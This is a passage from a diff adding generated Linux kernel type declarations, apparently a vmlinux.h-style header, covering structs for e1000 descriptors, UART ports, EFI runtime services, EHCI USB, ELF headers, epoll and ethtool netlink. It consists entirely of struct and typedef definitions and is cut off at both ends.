{ + union { + struct page *page; + u8 *data; + } rxbuf; + dma_addr_t dma; +}; + +struct e1000_rx_desc { + __le64 buffer_addr; + __le16 length; + __le16 csum; + u8 status; + u8 errors; + __le16 special; +}; + +union e1000_rx_desc_extended { + struct { + __le64 buffer_addr; + __le64 reserved; + } read; + struct { + struct { + __le32 mrq; + union { + __le32 rss; + struct { + __le16 ip_id; + __le16 csum; + } csum_ip; + } hi_dword; + } lower; + struct { + __le32 status_error; + __le16 length; + __le16 vlan; + } upper; + } wb; +}; + +union e1000_rx_desc_packet_split { + struct { + __le64 buffer_addr[4]; + } read; + struct { + struct { + __le32 mrq; + union { + __le32 rss; + struct { + __le16 ip_id; + __le16 csum; + } csum_ip; + } hi_dword; + } lower; + struct { + __le32 status_error; + __le16 length0; + __le16 vlan; + } middle; + struct { + __le16 header_status; + __le16 length[3]; + } upper; + __le64 reserved; + } wb; +}; + +struct e1000_shadow_ram___2 { + u16 eeprom_word; + bool modified; +}; + +struct e1000_stats { + char stat_string[32]; + int type; + int sizeof_stat; + int stat_offset; +}; + +struct e1000_tx_buffer { + struct sk_buff *skb; + dma_addr_t dma; + unsigned long time_stamp; + u16 length; + u16 next_to_watch; + bool mapped_as_page; + unsigned short segs; + unsigned int bytecount; +}; + +struct e1000_tx_desc { + __le64 buffer_addr; + union { + __le32 data; + struct { + __le16 length; + u8 cso; + u8 cmd; + } flags; + } lower; + union { + __le32 data; + struct { + u8 status; + u8 css; + __le16 special; + } fields; + } upper; +}; + +struct e820_entry { + u64 addr; + u64 size; + enum e820_type type; +} __attribute__((packed)); + +struct e820_table { + __u32 nr_entries; + struct e820_entry entries[3200]; +}; + +struct usb_device; + +struct each_dev_arg { + void *data; + int (*fn)(struct usb_device *, void *); +}; + +struct early_boot_kfree_rcu { + struct callback_head rh; +}; + +struct early_load_data { + u32 old_rev; + u32 new_rev; +}; + +struct uart_icount { + __u32 cts; + __u32 dsr; + __u32 rng; + __u32 dcd; + __u32 rx; + __u32 tx; + __u32 frame; + __u32 overrun; + __u32 parity; + __u32 brk; + __u32 buf_overrun; +}; + +struct serial_rs485 { + __u32 flags; + __u32 delay_rts_before_send; + __u32 delay_rts_after_send; + union { + __u32 padding[5]; + struct { + __u8 addr_recv; + __u8 addr_dest; + __u8 padding0[2]; + __u32 padding1[4]; + }; + }; +}; + +struct serial_iso7816 { + __u32 flags; + __u32 tg; + __u32 sc_fi; + __u32 sc_di; + __u32 clk; + __u32 reserved[5]; +}; + +struct ktermios; + +struct uart_state; + +struct uart_ops; + +struct serial_port_device; + +struct uart_port { + spinlock_t lock; + unsigned long iobase; + unsigned char *membase; + unsigned int (*serial_in)(struct uart_port *, int); + void (*serial_out)(struct uart_port *, int, int); + void (*set_termios)(struct uart_port *, struct ktermios *, const struct ktermios *); + void (*set_ldisc)(struct uart_port *, struct ktermios *); + unsigned int (*get_mctrl)(struct uart_port *); + void (*set_mctrl)(struct uart_port *, unsigned int); + unsigned int (*get_divisor)(struct uart_port *, unsigned int, unsigned int *); + void (*set_divisor)(struct uart_port *, unsigned int, unsigned int, unsigned int); + int (*startup)(struct uart_port *); + void (*shutdown)(struct uart_port *); + void (*throttle)(struct uart_port *); + void (*unthrottle)(struct uart_port *); + int (*handle_irq)(struct uart_port *); + void (*pm)(struct uart_port *, unsigned int, unsigned int); + void (*handle_break)(struct uart_port *); + int (*rs485_config)(struct uart_port *, struct ktermios *, struct serial_rs485 *); + int (*iso7816_config)(struct uart_port *, struct serial_iso7816 *); + unsigned int ctrl_id; + unsigned int port_id; + unsigned int irq; + unsigned long irqflags; + unsigned int uartclk; + unsigned int fifosize; + unsigned char x_char; + unsigned char regshift; + unsigned char iotype; + unsigned char quirks; + unsigned int read_status_mask; + unsigned int ignore_status_mask; + struct uart_state *state; + struct uart_icount icount; + struct console *cons; + upf_t flags; + upstat_t status; + bool hw_stopped; + unsigned int mctrl; + unsigned int frame_time; + unsigned int type; + const struct uart_ops *ops; + unsigned int custom_divisor; + unsigned int line; + unsigned int minor; + resource_size_t mapbase; + resource_size_t mapsize; + struct device *dev; + struct serial_port_device *port_dev; + unsigned long sysrq; + u8 sysrq_ch; + unsigned char has_sysrq; + unsigned char sysrq_seq; + unsigned char hub6; + unsigned char suspended; + unsigned char console_reinit; + const char *name; + struct attribute_group *attr_group; + const struct attribute_group **tty_groups; + struct serial_rs485 rs485; + struct serial_rs485 rs485_supported; + struct gpio_desc *rs485_term_gpio; + struct gpio_desc *rs485_rx_during_tx_gpio; + struct serial_iso7816 iso7816; + void *private_data; +}; + +struct earlycon_device { + struct console *con; + struct uart_port port; + char options[32]; + unsigned int baud; +}; + +struct earlycon_id { + char name[15]; + char name_term; + char compatible[128]; + int (*setup)(struct earlycon_device *, const char *); +}; + +struct ebt_entry { + unsigned int bitmask; + unsigned int invflags; + __be16 ethproto; + char in[16]; + char logical_in[16]; + char out[16]; + char logical_out[16]; + unsigned char sourcemac[6]; + unsigned char sourcemsk[6]; + unsigned char destmac[6]; + unsigned char destmsk[6]; + union { + struct { + unsigned int watchers_offset; + unsigned int target_offset; + unsigned int next_offset; + }; + struct { + unsigned int watchers_offset; + unsigned int target_offset; + unsigned int next_offset; + } offsets; + }; + unsigned char elems[0]; +}; + +struct eee_config { + u32 tx_lpi_timer; + bool tx_lpi_enabled; + bool eee_enabled; +}; + +struct ethtool_keee { + unsigned long supported[2]; + unsigned long advertised[2]; + unsigned long lp_advertised[2]; + u32 tx_lpi_timer; + bool tx_lpi_enabled; + bool eee_active; + bool eee_enabled; +}; + +struct eee_reply_data { + struct ethnl_reply_data base; + struct ethtool_keee eee; +}; + +struct eeprom_reply_data { + struct ethnl_reply_data base; + u32 length; + u8 *data; +}; + +struct ethnl_req_info { + struct net_device *dev; + netdevice_tracker dev_tracker; + u32 flags; + u32 phy_index; +}; + +struct eeprom_req_info { + struct ethnl_req_info base; + u32 offset; + u32 length; + u8 page; + u8 bank; + u8 i2c_address; +}; + +typedef efi_status_t efi_get_time_t(efi_time_t *, efi_time_cap_t *); + +typedef efi_status_t efi_set_time_t(efi_time_t *); + +typedef efi_status_t efi_get_wakeup_time_t(efi_bool_t *, efi_bool_t *, efi_time_t *); + +typedef efi_status_t efi_set_wakeup_time_t(efi_bool_t, efi_time_t *); + +typedef efi_status_t efi_get_variable_t(efi_char16_t *, efi_guid_t *, u32 *, unsigned long *, void *); + +typedef efi_status_t efi_get_next_variable_t(unsigned long *, efi_char16_t *, efi_guid_t *); + +typedef efi_status_t efi_set_variable_t(efi_char16_t *, efi_guid_t *, u32, unsigned long, void *); + +typedef efi_status_t efi_query_variable_info_t(u32, u64 *, u64 *, u64 *); + +typedef efi_status_t efi_update_capsule_t(efi_capsule_header_t **, unsigned long, unsigned long); + +typedef efi_status_t efi_query_capsule_caps_t(efi_capsule_header_t **, unsigned long, u64 *, int *); + +typedef efi_status_t efi_get_next_high_mono_count_t(u32 *); + +typedef void efi_reset_system_t(int, efi_status_t, unsigned long, efi_char16_t *); + +struct efi_memory_map { + phys_addr_t phys_map; + void *map; + void *map_end; + int nr_map; + unsigned long desc_version; + unsigned long desc_size; + unsigned long flags; +}; + +struct efi { + const efi_runtime_services_t *runtime; + unsigned int runtime_version; + unsigned int runtime_supported_mask; + unsigned long acpi; + unsigned long acpi20; + unsigned long smbios; + unsigned long smbios3; + unsigned long esrt; + unsigned long tpm_log; + unsigned long tpm_final_log; + unsigned long mokvar_table; + unsigned long coco_secret; + unsigned long unaccepted; + efi_get_time_t *get_time; + efi_set_time_t *set_time; + efi_get_wakeup_time_t *get_wakeup_time; + efi_set_wakeup_time_t *set_wakeup_time; + efi_get_variable_t *get_variable; + efi_get_next_variable_t *get_next_variable; + efi_set_variable_t *set_variable; + efi_set_variable_t *set_variable_nonblocking; + efi_query_variable_info_t *query_variable_info; + efi_query_variable_info_t *query_variable_info_nonblocking; + efi_update_capsule_t *update_capsule; + efi_query_capsule_caps_t *query_capsule_caps; + efi_get_next_high_mono_count_t *get_next_high_mono_count; + efi_reset_system_t *reset_system; + struct efi_memory_map memmap; + unsigned long flags; +}; + +struct efi_generic_dev_path { + u8 type; + u8 sub_type; + u16 length; +}; + +struct efi_mem_range { + struct range range; + u64 attribute; +}; + +struct efi_memory_map_data { + phys_addr_t phys_map; + unsigned long size; + unsigned long desc_version; + unsigned long desc_size; + unsigned long flags; +}; + +union efi_rts_args { + struct { + efi_time_t *time; + efi_time_cap_t *capabilities; + } GET_TIME; + struct { + efi_time_t *time; + } SET_TIME; + struct { + efi_bool_t *enabled; + efi_bool_t *pending; + efi_time_t *time; + } GET_WAKEUP_TIME; + struct { + efi_bool_t enable; + efi_time_t *time; + } SET_WAKEUP_TIME; + struct { + efi_char16_t *name; + efi_guid_t *vendor; + u32 *attr; + unsigned long *data_size; + void *data; + } GET_VARIABLE; + struct { + unsigned long *name_size; + efi_char16_t *name; + efi_guid_t *vendor; + } GET_NEXT_VARIABLE; + struct { + efi_char16_t *name; + efi_guid_t *vendor; + u32 attr; + unsigned long data_size; + void *data; + } SET_VARIABLE; + struct { + u32 attr; + u64 *storage_space; + u64 *remaining_space; + u64 *max_variable_size; + } QUERY_VARIABLE_INFO; + struct { + u32 *high_count; + } GET_NEXT_HIGH_MONO_COUNT; + struct { + efi_capsule_header_t **capsules; + unsigned long count; + unsigned long sg_list; + } UPDATE_CAPSULE; + struct { + efi_capsule_header_t **capsules; + unsigned long count; + u64 *max_size; + int *reset_type; + } QUERY_CAPSULE_CAPS; + struct { + efi_status_t (*acpi_prm_handler)(u64, void *); + u64 param_buffer_addr; + void *context; + } ACPI_PRM_HANDLER; +}; + +struct efi_runtime_map_entry { + efi_memory_desc_t md; + struct kobject kobj; +}; + +struct efi_runtime_work { + union efi_rts_args *args; + efi_status_t status; + struct work_struct work; + enum efi_rts_ids efi_rts_id; + struct completion efi_rts_comp; + const void *caller; +}; + +struct efi_setup_data { + u64 fw_vendor; + u64 __unused; + u64 tables; + u64 smbios; + u64 reserved[8]; +}; + +struct efi_system_resource_entry_v1 { + efi_guid_t fw_class; + u32 fw_type; + u32 fw_version; + u32 lowest_supported_fw_version; + u32 capsule_flags; + u32 last_attempt_version; + u32 last_attempt_status; +}; + +struct efi_system_resource_table { + u32 fw_resource_count; + u32 fw_resource_count_max; + u64 fw_resource_version; + u8 entries[0]; +}; + +struct efi_tcg2_final_events_table { + u64 version; + u64 nr_events; + u8 events[0]; +}; + +struct efi_variable { + efi_char16_t VariableName[512]; + efi_guid_t VendorGuid; + __u32 Attributes; +}; + +struct efifb_dmi_info { + char *optname; + unsigned long base; + int stride; + int width; + int height; + int flags; +}; + +struct efifb_par { + u32 pseudo_palette[16]; + resource_size_t base; + resource_size_t size; +}; + +struct efivar_entry { + struct efi_variable var; + struct list_head list; + struct kobject kobj; +}; + +typedef efi_status_t efi_query_variable_store_t(u32, unsigned long, bool); + +struct efivar_operations { + efi_get_variable_t *get_variable; + efi_get_next_variable_t *get_next_variable; + efi_set_variable_t *set_variable; + efi_set_variable_t *set_variable_nonblocking; + efi_query_variable_store_t *query_variable_store; + efi_query_variable_info_t *query_variable_info; +}; + +struct efivarfs_mount_opts { + kuid_t uid; + kgid_t gid; +}; + +struct efivarfs_fs_info { + struct efivarfs_mount_opts mount_opts; + struct list_head efivarfs_list; + struct super_block *sb; + struct notifier_block nb; +}; + +struct efivars { + struct kset *kset; + const struct efivar_operations *ops; +}; + +struct ehci_caps { + u32 hc_capbase; + u32 hcs_params; + u32 hcc_params; + u8 portroute[8]; +}; + +struct ehci_dbg_port { + u32 control; + u32 pids; + u32 data03; + u32 data47; + u32 address; +}; + +struct usb_hcd; + +struct ehci_driver_overrides { + size_t extra_priv_size; + int (*reset)(struct usb_hcd *); + int (*port_power)(struct usb_hcd *, int, bool); +}; + +struct ehci_qh; + +struct ehci_itd; + +struct ehci_sitd; + +struct ehci_fstn; + +union ehci_shadow { + struct ehci_qh *qh; + struct ehci_itd *itd; + struct ehci_sitd *sitd; + struct ehci_fstn *fstn; + __le32 *hw_next; + void *ptr; +}; + +struct ehci_fstn { + __le32 hw_next; + __le32 hw_prev; + dma_addr_t fstn_dma; + union ehci_shadow fstn_next; + long: 64; +}; + +struct ehci_stats { + unsigned long normal; + unsigned long error; + unsigned long iaa; + unsigned long lost_iaa; + unsigned long complete; + unsigned long unlink; +}; + +struct ehci_regs; + +struct ehci_hcd { + enum ehci_hrtimer_event next_hrtimer_event; + unsigned int enabled_hrtimer_events; + ktime_t hr_timeouts[12]; + struct hrtimer hrtimer; + int PSS_poll_count; + int ASS_poll_count; + int died_poll_count; + struct ehci_caps *caps; + struct ehci_regs *regs; + struct ehci_dbg_port *debug; + __u32 hcs_params; + spinlock_t lock; + enum ehci_rh_state rh_state; + bool scanning: 1; + bool need_rescan: 1; + bool intr_unlinking: 1; + bool iaa_in_progress: 1; + bool async_unlinking: 1; + bool shutdown: 1; + struct ehci_qh *qh_scan_next; + struct ehci_qh *async; + struct ehci_qh *dummy; + struct list_head async_unlink; + struct list_head async_idle; + unsigned int async_unlink_cycle; + unsigned int async_count; + __le32 old_current; + __le32 old_token; + unsigned int periodic_size; + __le32 *periodic; + dma_addr_t periodic_dma; + struct list_head intr_qh_list; + unsigned int i_thresh; + union ehci_shadow *pshadow; + struct list_head intr_unlink_wait; + struct list_head intr_unlink; + unsigned int intr_unlink_wait_cycle; + unsigned int intr_unlink_cycle; + unsigned int now_frame; + unsigned int last_iso_frame; + unsigned int intr_count; + unsigned int isoc_count; + unsigned int periodic_count; + unsigned int uframe_periodic_max; + struct list_head cached_itd_list; + struct ehci_itd *last_itd_to_free; + struct list_head cached_sitd_list; + struct ehci_sitd *last_sitd_to_free; + unsigned long reset_done[15]; + unsigned long bus_suspended; + unsigned long companion_ports; + unsigned long owned_ports; + unsigned long port_c_suspend; + unsigned long suspended_ports; + unsigned long resuming_ports; + struct dma_pool *qh_pool; + struct dma_pool *qtd_pool; + struct dma_pool *itd_pool; + struct dma_pool *sitd_pool; + unsigned int random_frame; + unsigned long next_statechange; + ktime_t last_periodic_enable; + u32 command; + unsigned int no_selective_suspend: 1; + unsigned int has_fsl_port_bug: 1; + unsigned int has_fsl_hs_errata: 1; + unsigned int has_fsl_susp_errata: 1; + unsigned int has_ci_pec_bug: 1; + unsigned int big_endian_mmio: 1; + unsigned int big_endian_desc: 1; + unsigned int big_endian_capbase: 1; + unsigned int has_amcc_usb23: 1; + unsigned int need_io_watchdog: 1; + unsigned int amd_pll_fix: 1; + unsigned int use_dummy_qh: 1; + unsigned int has_synopsys_hc_bug: 1; + unsigned int frame_index_bug: 1; + unsigned int need_oc_pp_cycle: 1; + unsigned int imx28_write_fix: 1; + unsigned int spurious_oc: 1; + unsigned int is_aspeed: 1; + unsigned int zx_wakeup_clear_needed: 1; + __le32 *ohci_hcctrl_reg; + unsigned int has_hostpc: 1; + unsigned int has_tdi_phy_lpm: 1; + unsigned int has_ppcd: 1; + u8 sbrn; + struct ehci_stats stats; + struct dentry *debug_dir; + u8 bandwidth[64]; + u8 tt_budget[64]; + struct list_head tt_list; + unsigned long priv[0]; +}; + +struct ehci_iso_packet { + u64 bufp; + __le32 transaction; + u8 cross; + u32 buf1; +}; + +struct ehci_iso_sched { + struct list_head td_list; + unsigned int span; + unsigned int first_packet; + struct ehci_iso_packet packet[0]; +}; + +struct usb_host_endpoint; + +struct ehci_per_sched { + struct usb_device *udev; + struct usb_host_endpoint *ep; + struct list_head ps_list; + u16 tt_usecs; + u16 cs_mask; + u16 period; + u16 phase; + u8 bw_phase; + u8 phase_uf; + u8 usecs; + u8 c_usecs; + u8 bw_uperiod; + u8 bw_period; +}; + +struct ehci_qh_hw; + +struct ehci_iso_stream { + struct ehci_qh_hw *hw; + u8 bEndpointAddress; + u8 highspeed; + struct list_head td_list; + struct list_head free_list; + struct ehci_per_sched ps; + unsigned int next_uframe; + __le32 splits; + u16 uperiod; + u16 maxp; + unsigned int bandwidth; + __le32 buf0; + __le32 buf1; + __le32 buf2; + __le32 address; +}; + +struct ehci_itd { + __le32 hw_next; + __le32 hw_transaction[8]; + __le32 hw_bufp[7]; + __le32 hw_bufp_hi[7]; + dma_addr_t itd_dma; + union ehci_shadow itd_next; + struct urb *urb; + struct ehci_iso_stream *stream; + struct list_head itd_list; + unsigned int frame; + unsigned int pg; + unsigned int index[8]; + long: 64; +}; + +struct ehci_qtd; + +struct ehci_qh { + struct ehci_qh_hw *hw; + dma_addr_t qh_dma; + union ehci_shadow qh_next; + struct list_head qtd_list; + struct list_head intr_node; + struct ehci_qtd *dummy; + struct list_head unlink_node; + struct ehci_per_sched ps; + unsigned int unlink_cycle; + u8 qh_state; + u8 xacterrs; + u8 unlink_reason; + u8 gap_uf; + unsigned int is_out: 1; + unsigned int clearing_tt: 1; + unsigned int dequeue_during_giveback: 1; + unsigned int should_be_inactive: 1; +}; + +struct ehci_qh_hw { + __le32 hw_next; + __le32 hw_info1; + __le32 hw_info2; + __le32 hw_current; + __le32 hw_qtd_next; + __le32 hw_alt_next; + __le32 hw_token; + __le32 hw_buf[5]; + __le32 hw_buf_hi[5]; + long: 64; + long: 64; + long: 64; +}; + +struct ehci_qtd { + __le32 hw_next; + __le32 hw_alt_next; + __le32 hw_token; + __le32 hw_buf[5]; + __le32 hw_buf_hi[5]; + dma_addr_t qtd_dma; + struct list_head qtd_list; + struct urb *urb; + size_t length; +}; + +struct ehci_regs { + u32 command; + u32 status; + u32 intr_enable; + u32 frame_index; + u32 segment; + u32 frame_list; + u32 async_next; + u32 reserved1[2]; + u32 txfill_tuning; + u32 reserved2[6]; + u32 configured_flag; + union { + u32 port_status[15]; + struct { + u32 reserved3[9]; + u32 usbmode; + }; + }; + union { + struct { + u32 reserved4; + u32 hostpc[15]; + }; + u32 brcm_insnreg[4]; + }; + u32 reserved5[2]; + u32 usbmode_ex; +}; + +struct ehci_sitd { + __le32 hw_next; + __le32 hw_fullspeed_ep; + __le32 hw_uframe; + __le32 hw_results; + __le32 hw_buf[2]; + __le32 hw_backpointer; + __le32 hw_buf_hi[2]; + dma_addr_t sitd_dma; + union ehci_shadow sitd_next; + struct urb *urb; + struct ehci_iso_stream *stream; + struct list_head sitd_list; + unsigned int frame; + unsigned int index; +}; + +struct usb_tt; + +struct ehci_tt { + u16 bandwidth[8]; + struct list_head tt_list; + struct list_head ps_list; + struct usb_tt *usb_tt; + int tt_port; +}; + +struct ei_entry { + struct list_head list; + unsigned long start_addr; + unsigned long end_addr; + int etype; + void *priv; +}; + +struct element { + u8 id; + u8 datalen; + u8 data[0]; +}; + +struct elevator_queue; + +struct elevator_mq_ops { + int (*init_sched)(struct request_queue *, struct elevator_type *); + void (*exit_sched)(struct elevator_queue *); + int (*init_hctx)(struct blk_mq_hw_ctx *, unsigned int); + void (*exit_hctx)(struct blk_mq_hw_ctx *, unsigned int); + void (*depth_updated)(struct blk_mq_hw_ctx *); + bool (*allow_merge)(struct request_queue *, struct request *, struct bio *); + bool (*bio_merge)(struct request_queue *, struct bio *, unsigned int); + int (*request_merge)(struct request_queue *, struct request **, struct bio *); + void (*request_merged)(struct request_queue *, struct request *, enum elv_merge); + void (*requests_merged)(struct request_queue *, struct request *, struct request *); + void (*limit_depth)(blk_opf_t, struct blk_mq_alloc_data *); + void (*prepare_request)(struct request *); + void (*finish_request)(struct request *); + void (*insert_requests)(struct blk_mq_hw_ctx *, struct list_head *, blk_insert_t); + struct request * (*dispatch_request)(struct blk_mq_hw_ctx *); + bool (*has_work)(struct blk_mq_hw_ctx *); + void (*completed_request)(struct request *, u64); + void (*requeue_request)(struct request *); + struct request * (*former_request)(struct request_queue *, struct request *); + struct request * (*next_request)(struct request_queue *, struct request *); + void (*init_icq)(struct io_cq *); + void (*exit_icq)(struct io_cq *); +}; + +struct elevator_queue { + struct elevator_type *type; + void *elevator_data; + struct kobject kobj; + struct mutex sysfs_lock; + unsigned long flags; + struct hlist_head hash[64]; +}; + +struct elv_fs_entry; + +struct elevator_type { + struct kmem_cache *icq_cache; + struct elevator_mq_ops ops; + size_t icq_size; + size_t icq_align; + struct elv_fs_entry *elevator_attrs; + const char *elevator_name; + const char *elevator_alias; + struct module *elevator_owner; + const struct blk_mq_debugfs_attr *queue_debugfs_attrs; + const struct blk_mq_debugfs_attr *hctx_debugfs_attrs; + char icq_cache_name[22]; + struct list_head list; +}; + +struct elf32_hdr { + unsigned char e_ident[16]; + Elf32_Half e_type; + Elf32_Half e_machine; + Elf32_Word e_version; + Elf32_Addr e_entry; + Elf32_Off e_phoff; + Elf32_Off e_shoff; + Elf32_Word e_flags; + Elf32_Half e_ehsize; + Elf32_Half e_phentsize; + Elf32_Half e_phnum; + Elf32_Half e_shentsize; + Elf32_Half e_shnum; + Elf32_Half e_shstrndx; +}; + +typedef struct elf32_hdr Elf32_Ehdr; + +struct elf32_note { + Elf32_Word n_namesz; + Elf32_Word n_descsz; + Elf32_Word n_type; +}; + +typedef struct elf32_note Elf32_Nhdr; + +struct elf32_phdr { + Elf32_Word p_type; + Elf32_Off p_offset; + Elf32_Addr p_vaddr; + Elf32_Addr p_paddr; + Elf32_Word p_filesz; + Elf32_Word p_memsz; + Elf32_Word p_flags; + Elf32_Word p_align; +}; + +typedef struct elf32_phdr Elf32_Phdr; + +struct elf64_hdr { + unsigned char e_ident[16]; + Elf64_Half e_type; + Elf64_Half e_machine; + Elf64_Word e_version; + Elf64_Addr e_entry; + Elf64_Off e_phoff; + Elf64_Off e_shoff; + Elf64_Word e_flags; + Elf64_Half e_ehsize; + Elf64_Half e_phentsize; + Elf64_Half e_phnum; + Elf64_Half e_shentsize; + Elf64_Half e_shnum; + Elf64_Half e_shstrndx; +}; + +typedef struct elf64_hdr Elf64_Ehdr; + +struct elf64_note { + Elf64_Word n_namesz; + Elf64_Word n_descsz; + Elf64_Word n_type; +}; + +typedef struct elf64_note Elf64_Nhdr; + +struct elf64_phdr { + Elf64_Word p_type; + Elf64_Word p_flags; + Elf64_Off p_offset; + Elf64_Addr p_vaddr; + Elf64_Addr p_paddr; + Elf64_Xword p_filesz; + Elf64_Xword p_memsz; + Elf64_Xword p_align; +}; + +typedef struct elf64_phdr Elf64_Phdr; + +struct elf64_rela { + Elf64_Addr r_offset; + Elf64_Xword r_info; + Elf64_Sxword r_addend; +}; + +typedef struct elf64_rela Elf64_Rela; + +struct elf64_shdr { + Elf64_Word sh_name; + Elf64_Word sh_type; + Elf64_Xword sh_flags; + Elf64_Addr sh_addr; + Elf64_Off sh_offset; + Elf64_Xword sh_size; + Elf64_Word sh_link; + Elf64_Word sh_info; + Elf64_Xword sh_addralign; + Elf64_Xword sh_entsize; +}; + +typedef struct elf64_shdr Elf64_Shdr; + +struct elf64_sym { + Elf64_Word st_name; + unsigned char st_info; + unsigned char st_other; + Elf64_Half st_shndx; + Elf64_Addr st_value; + Elf64_Xword st_size; +}; + +typedef struct elf64_sym Elf64_Sym; + +struct memelfnote { + const char *name; + int type; + unsigned int datasz; + void *data; +}; + +struct siginfo { + union { + struct { + int si_signo; + int si_errno; + int si_code; + union __sifields _sifields; + }; + int _si_pad[32]; + }; +}; + +typedef struct siginfo siginfo_t; + +struct elf_thread_core_info; + +struct elf_note_info { + struct elf_thread_core_info *thread; + struct memelfnote psinfo; + struct memelfnote signote; + struct memelfnote auxv; + struct memelfnote files; + siginfo_t csigdata; + size_t size; + int thread_notes; +}; + +struct elf_prpsinfo { + char pr_state; + char pr_sname; + char pr_zomb; + char pr_nice; + unsigned long pr_flag; + __kernel_uid_t pr_uid; + __kernel_gid_t pr_gid; + pid_t pr_pid; + pid_t pr_ppid; + pid_t pr_pgrp; + pid_t pr_sid; + char pr_fname[16]; + char pr_psargs[80]; +}; + +struct elf_siginfo { + int si_signo; + int si_code; + int si_errno; +}; + +struct elf_prstatus_common { + struct elf_siginfo pr_info; + short pr_cursig; + unsigned long pr_sigpend; + unsigned long pr_sighold; + pid_t pr_pid; + pid_t pr_ppid; + pid_t pr_pgrp; + pid_t pr_sid; + struct __kernel_old_timeval pr_utime; + struct __kernel_old_timeval pr_stime; + struct __kernel_old_timeval pr_cutime; + struct __kernel_old_timeval pr_cstime; +}; + +struct elf_prstatus { + struct elf_prstatus_common common; + elf_gregset_t pr_reg; + int pr_fpvalid; +}; + +struct elf_thread_core_info { + struct elf_thread_core_info *next; + struct task_struct *task; + struct elf_prstatus prstatus; + struct memelfnote notes[0]; +}; + +struct elv_fs_entry { + struct attribute attr; + ssize_t (*show)(struct elevator_queue *, char *); + ssize_t (*store)(struct elevator_queue *, const char *, size_t); +}; + +struct em_perf_table; + +struct em_perf_domain { + struct em_perf_table __attribute__((btf_type_tag("rcu"))) *em_table; + int nr_perf_states; + unsigned long flags; + unsigned long cpus[0]; +}; + +struct em_perf_state { + unsigned long performance; + unsigned long frequency; + unsigned long power; + unsigned long cost; + unsigned long flags; +}; + +struct em_perf_table { + struct callback_head rcu; + struct kref kref; + struct em_perf_state state[0]; +}; + +struct trace_event_file; + +struct enable_trigger_data { + struct trace_event_file *file; + bool enable; + bool hist; +}; + +struct entropy_timer_state { + unsigned long entropy; + struct timer_list timer; + atomic_t samples; + unsigned int samples_per_bit; +}; + +struct usb_endpoint_descriptor; + +struct ep_device { + struct usb_endpoint_descriptor *desc; + struct usb_device *udev; + struct device dev; +}; + +typedef struct poll_table_struct poll_table; + +struct epitem; + +struct ep_pqueue { + poll_table pt; + struct epitem *epi; +}; + +struct ephy_info { + unsigned int offset; + u16 mask; + u16 bits; +}; + +struct epoll_filefd { + struct file *file; + int fd; +} __attribute__((packed)); + +struct epoll_event { + __poll_t events; + __u64 data; +} __attribute__((packed)); + +struct eppoll_entry; + +struct eventpoll; + +struct epitem { + union { + struct rb_node rbn; + struct callback_head rcu; + }; + struct list_head rdllink; + struct epitem *next; + struct epoll_filefd ffd; + bool dying; + struct eppoll_entry *pwqlist; + struct eventpoll *ep; + struct hlist_node fllink; + struct wakeup_source __attribute__((btf_type_tag("rcu"))) *ws; + struct epoll_event event; +}; + +struct epitems_head { + struct hlist_head epitems; + struct epitems_head *next; +}; + +struct epoll_params { + __u32 busy_poll_usecs; + __u16 busy_poll_budget; + __u8 prefer_busy_poll; + __u8 __pad; +}; + +struct eppoll_entry { + struct eppoll_entry *next; + struct epitem *base; + wait_queue_entry_t wait; + wait_queue_head_t *whead; +}; + +struct trace_eprobe; + +struct eprobe_data { + struct trace_event_file *file; + struct trace_eprobe *ep; +}; + +struct eprobe_trace_entry_head { + struct trace_entry ent; +}; + +struct equiv_cpu_entry { + u32 installed_cpu; + u32 fixed_errata_mask; + u32 fixed_errata_compare; + u16 equiv_cpu; + u16 res; +}; + +struct equiv_cpu_table { + unsigned int num_entries; + struct equiv_cpu_entry *entry; +}; + +struct er_account { + raw_spinlock_t lock; + u64 config; + u64 reg; + atomic_t ref; +}; + +struct err_info { + const char **errs; + u8 type; + u16 pos; + u64 ts; +}; + +struct error_injection_entry { + unsigned long addr; + int etype; +}; + +struct error_table_start { + u32 valid; + __le32 err_id; +}; + +struct error_table_start___2 { + u32 valid; + u32 error_id; +}; + +struct esre_entry; + +struct esre_attribute { + struct attribute attr; + ssize_t (*show)(struct esre_entry *, char *); + ssize_t (*store)(struct esre_entry *, const char *, size_t); +}; + +struct esre_entry { + union { + struct efi_system_resource_entry_v1 *esre1; + } esre; + struct kobject kobj; + struct list_head list; +}; + +struct essiv_aead_request_ctx { + struct scatterlist sg[4]; + u8 *assoc; + struct aead_request aead_req; +}; + +struct essiv_instance_ctx { + union { + struct crypto_skcipher_spawn skcipher_spawn; + struct crypto_aead_spawn aead_spawn; + } u; + char essiv_cipher_name[128]; + char shash_driver_name[128]; +}; + +struct essiv_tfm_ctx { + union { + struct crypto_skcipher *skcipher; + struct crypto_aead *aead; + } u; + struct crypto_cipher *essiv_cipher; + struct crypto_shash *hash; + int ivoffset; +}; + +struct estack_pages { + u32 offs; + u16 size; + u16 type; +}; + +struct ethhdr { + unsigned char h_dest[6]; + unsigned char h_source[6]; + __be16 h_proto; +}; + +struct ethnl_request_ops; + +struct ethnl_dump_ctx { + const struct ethnl_request_ops *ops; + struct ethnl_req_info *req_info; + struct ethnl_reply_data *reply_data; + unsigned long pos_ifindex; +}; + +struct ethnl_module_fw_flash_ntf_params { + u32 portid; + u32 seq; + bool closed_sock; +}; + +struct phy_req_info; + +struct ethnl_phy_dump_ctx { + struct phy_req_info *phy_req_info; + unsigned long ifindex; + unsigned long phy_index; +}; + +struct ethnl_request_ops { + u8 request_cmd; + u8 reply_cmd; + u16 hdr_attr; + unsigned int req_info_size; + unsigned int reply_data_size; + bool allow_nodev_do; + u8 set_ntf_cmd; + int (*parse_request)(struct ethnl_req_info *, struct nlattr **, struct netlink_ext_ack *); + int (*prepare_data)(const struct ethnl_req_info *, struct ethnl_reply_data *, const struct genl_info *); + int (*reply_size)(const struct ethnl_req_info *, const struct ethnl_reply_data *); + int (*fill_reply)(struct sk_buff *, const struct ethnl_req_info *, const struct ethnl_reply_data *); + void (*cleanup_data)(struct ethnl_reply_data *); + int (*set_validate)(struct ethnl_req_info *, struct genl_info *); + int (*set)(struct ethnl_req_info *, struct genl_info *); +}; + +struct ethnl_sock_priv { + struct net_device *dev; + u32 portid; + enum ethnl_sock_type type; +}; + +struct ethnl_tunnel_info_dump_ctx { + struct ethnl_req_info req_info; + unsigned long ifindex; +}; + +struct ethtool_ah_espip4_spec { + __be32 ip4src; + __be32 ip4dst; + __be32 spi; + __u8 tos; +}; + +struct ethtool_ah_espip6_spec { + __be32 ip6src[4]; + __be32 ip6dst[4]; + __be32 spi; + __u8 tclass; +}; + +struct ethtool_c33_pse_ext_state_info { + enum ethtool_c33_pse_ext_state c33_pse_ext_state; + union { + enum 